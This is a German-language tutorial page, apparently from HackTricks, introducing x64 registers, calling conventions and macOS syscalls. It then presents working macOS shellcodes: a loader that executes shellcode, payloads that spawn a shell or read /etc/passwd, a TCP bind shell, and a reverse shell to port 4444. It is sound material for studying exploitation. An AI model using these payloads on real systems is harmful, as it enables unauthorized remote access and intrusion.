# Einführung in x64 {{#include ../../../banners/hacktricks-training.md}} ## **Einführung in x64** x64, auch bekannt als x86-64, ist eine 64-Bit-Prozessorarchitektur, die überwiegend in Desktop- und Server-Computing verwendet wird. Sie stammt von der x86-Architektur, die von Intel produziert wurde und später von AMD unter dem Namen AMD64 übernommen wurde. Sie ist heute die vorherrschende Architektur in Personal Computern und Servern. ### **Register** x64 baut auf der x86-Architektur auf und verfügt über **16 allgemeine Register**, die als `rax`, `rbx`, `rcx`, `rdx`, `rbp`, `rsp`, `rsi`, `rdi` sowie `r8` bis `r15` bezeichnet werden. Jedes dieser Register kann einen **64-Bit** (8-Byte) Wert speichern. Diese Register haben auch 32-Bit-, 16-Bit- und 8-Bit-Teilregister für Kompatibilität und spezifische Aufgaben. 1. **`rax`** - Traditionell verwendet für **Rückgabewerte** von Funktionen. 2. **`rbx`** - Oft als **Basisregister** für Speicheroperationen verwendet. 3. **`rcx`** - Häufig verwendet für **Schleifenzähler**. 4. **`rdx`** - In verschiedenen Rollen verwendet, einschließlich erweiterter arithmetischer Operationen. 5. **`rbp`** - **Basiszeiger** für den Stackrahmen. 6. **`rsp`** - **Stackzeiger**, der den oberen Teil des Stacks verfolgt. 7. **`rsi`** und **`rdi`** - Verwendet für **Quell-** und **Zielindizes** in String-/Speicheroperationen. 8. **`r8`** bis **`r15`** - Zusätzliche allgemeine Register, die in x64 eingeführt wurden. ### **Aufrufkonvention** Die x64-Aufrufkonvention variiert zwischen Betriebssystemen. Zum Beispiel: - **Windows**: Die ersten **vier Parameter** werden in den Registern **`rcx`**, **`rdx`**, **`r8`** und **`r9`** übergeben. Weitere Parameter werden auf den Stack geschoben. Der Rückgabewert befindet sich in **`rax`**. - **System V (häufig in UNIX-ähnlichen Systemen verwendet)**: Die ersten **sechs Integer- oder Zeigerparameter** werden in den Registern **`rdi`**, **`rsi`**, **`rdx`**, **`rcx`**, **`r8`** und **`r9`** übergeben. Der Rückgabewert befindet sich ebenfalls in **`rax`**. Wenn die Funktion mehr als sechs Eingaben hat, werden die **restlichen auf dem Stack übergeben**. **RSP**, der Stackzeiger, muss **16 Byte ausgerichtet** sein, was bedeutet, dass die Adresse, auf die er zeigt, vor einem Aufruf durch 16 teilbar sein muss. Das bedeutet, dass wir normalerweise sicherstellen müssen, dass RSP in unserem Shellcode richtig ausgerichtet ist, bevor wir einen Funktionsaufruf machen. In der Praxis funktionieren Systemaufrufe jedoch oft, auch wenn diese Anforderung nicht erfüllt ist. ### Aufrufkonvention in Swift Swift hat seine eigene **Aufrufkonvention**, die in [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#x86-64) zu finden ist. ### **Häufige Anweisungen** x64-Anweisungen haben einen umfangreichen Satz, der die Kompatibilität mit früheren x86-Anweisungen aufrechterhält und neue einführt. - **`mov`**: **Bewege** einen Wert von einem **Register** oder **Speicherort** zu einem anderen. - Beispiel: `mov rax, rbx` — Bewegt den Wert von `rbx` nach `rax`. - **`push`** und **`pop`**: Werte auf den **Stack** schieben oder davon abziehen. - Beispiel: `push rax` — Schiebt den Wert in `rax` auf den Stack. - Beispiel: `pop rax` — Holt den obersten Wert vom Stack in `rax`. - **`add`** und **`sub`**: **Addition**- und **Subtraktions**operationen. - Beispiel: `add rax, rcx` — Addiert die Werte in `rax` und `rcx` und speichert das Ergebnis in `rax`. - **`mul`** und **`div`**: **Multiplikations**- und **Divisions**operationen. Hinweis: Diese haben spezifische Verhaltensweisen bezüglich der Operandenverwendung. - **`call`** und **`ret`**: Verwendet, um **Funktionen aufzurufen** und **von ihnen zurückzukehren**. - **`int`**: Wird verwendet, um eine Software-**Unterbrechung** auszulösen. Z.B. wurde `int 0x80` für Systemaufrufe in 32-Bit x86 Linux verwendet. - **`cmp`**: **Vergleicht** zwei Werte und setzt die CPU-Flags basierend auf dem Ergebnis. - Beispiel: `cmp rax, rdx` — Vergleicht `rax` mit `rdx`. - **`je`, `jne`, `jl`, `jge`, ...**: **Bedingte Sprung**anweisungen, die den Kontrollfluss basierend auf den Ergebnissen eines vorherigen `cmp` oder Tests ändern. - Beispiel: Nach einer `cmp rax, rdx`-Anweisung, `je label` — Springt zu `label`, wenn `rax` gleich `rdx` ist. - **`syscall`**: Wird für **Systemaufrufe** in einigen x64-Systemen (wie modernen Unix) verwendet. - **`sysenter`**: Eine optimierte **Systemaufruf**-Anweisung auf einigen Plattformen. ### **Funktionsprolog** 1. **Schiebe den alten Basiszeiger**: `push rbp` (speichert den Basiszeiger des Aufrufers) 2. **Bewege den aktuellen Stackzeiger zum Basiszeiger**: `mov rbp, rsp` (richtet den neuen Basiszeiger für die aktuelle Funktion ein) 3. **Allokiere Platz auf dem Stack für lokale Variablen**: `sub rsp, ` (wobei `` die benötigte Anzahl von Bytes ist) ### **Funktionsepilog** 1. **Bewege den aktuellen Basiszeiger zum Stackzeiger**: `mov rsp, rbp` (deallokiert lokale Variablen) 2. **Pop den alten Basiszeiger vom Stack**: `pop rbp` (stellt den Basiszeiger des Aufrufers wieder her) 3. **Rückkehr**: `ret` (gibt die Kontrolle an den Aufrufer zurück) ## macOS ### syscalls Es gibt verschiedene Klassen von Syscalls, die Sie [**hier finden können**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/osfmk/mach/i386/syscall_sw.h)**:** ```c #define SYSCALL_CLASS_NONE 0 /* Invalid */ #define SYSCALL_CLASS_MACH 1 /* Mach */ #define SYSCALL_CLASS_UNIX 2 /* Unix/BSD */ #define SYSCALL_CLASS_MDEP 3 /* Machine-dependent */ #define SYSCALL_CLASS_DIAG 4 /* Diagnostics */ #define SYSCALL_CLASS_IPC 5 /* Mach IPC */ ``` Dann können Sie jede Syscall-Nummer [**in dieser URL**](https://opensource.apple.com/source/xnu/xnu-1504.3.12/bsd/kern/syscalls.master)**:** ```c 0 AUE_NULL ALL { int nosys(void); } { indirect syscall } 1 AUE_EXIT ALL { void exit(int rval); } 2 AUE_FORK ALL { int fork(void); } 3 AUE_NULL ALL { user_ssize_t read(int fd, user_addr_t cbuf, user_size_t nbyte); } 4 AUE_NULL ALL { user_ssize_t write(int fd, user_addr_t cbuf, user_size_t nbyte); } 5 AUE_OPEN_RWTC ALL { int open(user_addr_t path, int flags, int mode); } 6 AUE_CLOSE ALL { int close(int fd); } 7 AUE_WAIT4 ALL { int wait4(int pid, user_addr_t status, int options, user_addr_t rusage); } 8 AUE_NULL ALL { int nosys(void); } { old creat } 9 AUE_LINK ALL { int link(user_addr_t path, user_addr_t link); } 10 AUE_UNLINK ALL { int unlink(user_addr_t path); } 11 AUE_NULL ALL { int nosys(void); } { old execv } 12 AUE_CHDIR ALL { int chdir(user_addr_t path); } [...] ``` Um den `open` syscall (**5**) aus der **Unix/BSD-Klasse** aufzurufen, müssen Sie ihn hinzufügen: `0x2000000` Die syscall-Nummer, um open aufzurufen, wäre `0x2000005` ### Shellcodes Zum Kompilieren: ```bash nasm -f macho64 shell.asm -o shell.o ld -o shell shell.o -macosx_version_min 13.0 -lSystem -L /Library/Developer/CommandLineTools/SDKs/MacOSX.sdk/usr/lib ``` Um die Bytes zu extrahieren: ```bash # Code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/b729f716aaf24cbc8109e0d94681ccb84c0b0c9e/helper/extract.sh for c in $(objdump -d "shell.o" | grep -E '[0-9a-f]+:' | cut -f 1 | cut -d : -f 2) ; do echo -n '\\x'$c done # Another option otool -t shell.o | grep 00 | cut -f2 -d$'\t' | sed 's/ /\\x/g' | sed 's/^/\\x/g' | sed 's/\\x$//g' ```
C-Code zum Testen des Shellcodes ```c // code from https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/helper/loader.c // gcc loader.c -o loader #include #include #include #include int (*sc)(); char shellcode[] = ""; int main(int argc, char **argv) { printf("[>] Shellcode Length: %zd Bytes\n", strlen(shellcode)); void *ptr = mmap(0, 0x1000, PROT_WRITE | PROT_READ, MAP_ANON | MAP_PRIVATE | MAP_JIT, -1, 0); if (ptr == MAP_FAILED) { perror("mmap"); exit(-1); } printf("[+] SUCCESS: mmap\n"); printf(" |-> Return = %p\n", ptr); void *dst = memcpy(ptr, shellcode, sizeof(shellcode)); printf("[+] SUCCESS: memcpy\n"); printf(" |-> Return = %p\n", dst); int status = mprotect(ptr, 0x1000, PROT_EXEC | PROT_READ); if (status == -1) { perror("mprotect"); exit(-1); } printf("[+] SUCCESS: mprotect\n"); printf(" |-> Return = %d\n", status); printf("[>] Trying to execute shellcode...\n"); sc = ptr; sc(); return 0; } ```
#### Shell Entnommen von [**hier**](https://github.com/daem0nc0re/macOS_ARM64_Shellcode/blob/master/shell.s) und erklärt. {{#tabs}} {{#tab name="with adr"}} ```armasm bits 64 global _main _main: call r_cmd64 db '/bin/zsh', 0 r_cmd64: ; the call placed a pointer to db (argv[2]) pop rdi ; arg1 from the stack placed by the call to l_cmd64 xor rdx, rdx ; store null arg3 push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ``` {{#endtab}} {{#tab name="mit Stack"}} ```armasm bits 64 global _main _main: xor rdx, rdx ; zero our RDX push rdx ; push NULL string terminator mov rbx, '/bin/zsh' ; move the path into RBX push rbx ; push the path, to the stack mov rdi, rsp ; store the stack pointer in RDI (arg1) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ``` {{#endtab}} {{#endtabs}} #### Mit cat lesen Das Ziel ist es, `execve("/bin/cat", ["/bin/cat", "/etc/passwd"], NULL)` auszuführen, sodass das zweite Argument (x1) ein Array von Parametern ist (was im Speicher einen Stack der Adressen bedeutet). ```armasm bits 64 section .text global _main _main: ; Prepare the arguments for the execve syscall sub rsp, 40 ; Allocate space on the stack similar to `sub sp, sp, #48` lea rdi, [rel cat_path] ; rdi will hold the address of "/bin/cat" lea rsi, [rel passwd_path] ; rsi will hold the address of "/etc/passwd" ; Create inside the stack the array of args: ["/bin/cat", "/etc/passwd"] push rsi ; Add "/etc/passwd" to the stack (arg0) push rdi ; Add "/bin/cat" to the stack (arg1) ; Set in the 2nd argument of exec the addr of the array mov rsi, rsp ; argv=rsp - store RSP's value in RSI xor rdx, rdx ; Clear rdx to hold NULL (no environment variables) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall ; Make the syscall section .data cat_path: db "/bin/cat", 0 passwd_path: db "/etc/passwd", 0 ``` #### Befehl mit sh ausführen ```armasm bits 64 section .text global _main _main: ; Prepare the arguments for the execve syscall sub rsp, 32 ; Create space on the stack ; Argument array lea rdi, [rel touch_command] push rdi ; push &"touch /tmp/lalala" lea rdi, [rel sh_c_option] push rdi ; push &"-c" lea rdi, [rel sh_path] push rdi ; push &"/bin/sh" ; execve syscall mov rsi, rsp ; rsi = pointer to argument array xor rdx, rdx ; rdx = NULL (no env variables) push 59 ; put 59 on the stack (execve syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall _exit: xor rdi, rdi ; Exit status code 0 push 1 ; put 1 on the stack (exit syscall) pop rax ; pop it to RAX bts rax, 25 ; set the 25th bit to 1 (to add 0x2000000 without using null bytes) syscall section .data sh_path: db "/bin/sh", 0 sh_c_option: db "-c", 0 touch_command: db "touch /tmp/lalala", 0 ``` #### Bind-Shell Bind-Shell von [https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html](https://packetstormsecurity.com/files/151731/macOS-TCP-4444-Bind-Shell-Null-Free-Shellcode.html) in **Port 4444** ```armasm section .text global _main _main: ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; struct sockaddr_in { ; __uint8_t sin_len; ; sa_family_t sin_family; ; in_port_t sin_port; ; struct in_addr sin_addr; ; char sin_zero[8]; ; }; mov rsi, 0xffffffffa3eefdf0 neg rsi push rsi push rsp pop rsi ; bind(host_sockid, &sockaddr, 16) mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x68 syscall ; listen(host_sockid, 2) xor rsi, rsi mov sil, 0x2 mov rax, r8 mov al, 0x6a syscall ; accept(host_sockid, 0, 0) xor rsi, rsi xor rdx, rdx mov rax, r8 mov al, 0x1e syscall mov rdi, rax mov sil, 0x3 dup2: ; dup2(client_sockid, 2) ; -> dup2(client_sockid, 1) ; -> dup2(client_sockid, 0) mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi mov rax, r8 mov al, 0x3b syscall ``` #### Reverse Shell Reverse Shell von [https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html](https://packetstormsecurity.com/files/151727/macOS-127.0.0.1-4444-Reverse-Shell-Shellcode.html). Reverse Shell zu **127.0.0.1:4444** ```armasm section .text global _main _main: ; socket(AF_INET4, SOCK_STREAM, IPPROTO_IP) xor rdi, rdi mul rdi mov dil, 0x2 xor rsi, rsi mov sil, 0x1 mov al, 0x2 ror rax, 0x28 mov r8, rax mov al, 0x61 syscall ; struct sockaddr_in { ; __uint8_t sin_len; ; sa_family_t sin_family; ; in_port_t sin_port; ; struct in_addr sin_addr; ; char sin_zero[8]; ; }; mov rsi, 0xfeffff80a3eefdf0 neg rsi push rsi push rsp pop rsi ; connect(sockid, &sockaddr, 16) mov rdi, rax xor dl, 0x10 mov rax, r8 mov al, 0x62 syscall xor rsi, rsi mov sil, 0x3 dup2: ; dup2(sockid, 2) ; -> dup2(sockid, 1) ; -> dup2(sockid, 0) mov rax, r8 mov al, 0x5a sub sil, 1 syscall test rsi, rsi jne dup2 ; execve("//bin/sh", 0, 0) push rsi mov rdi, 0x68732f6e69622f2f push rdi push rsp pop rdi xor rdx, rdx mov rax, r8 mov al, 0x3b syscall ``` {{#include ../../../banners/hacktricks-training.md}}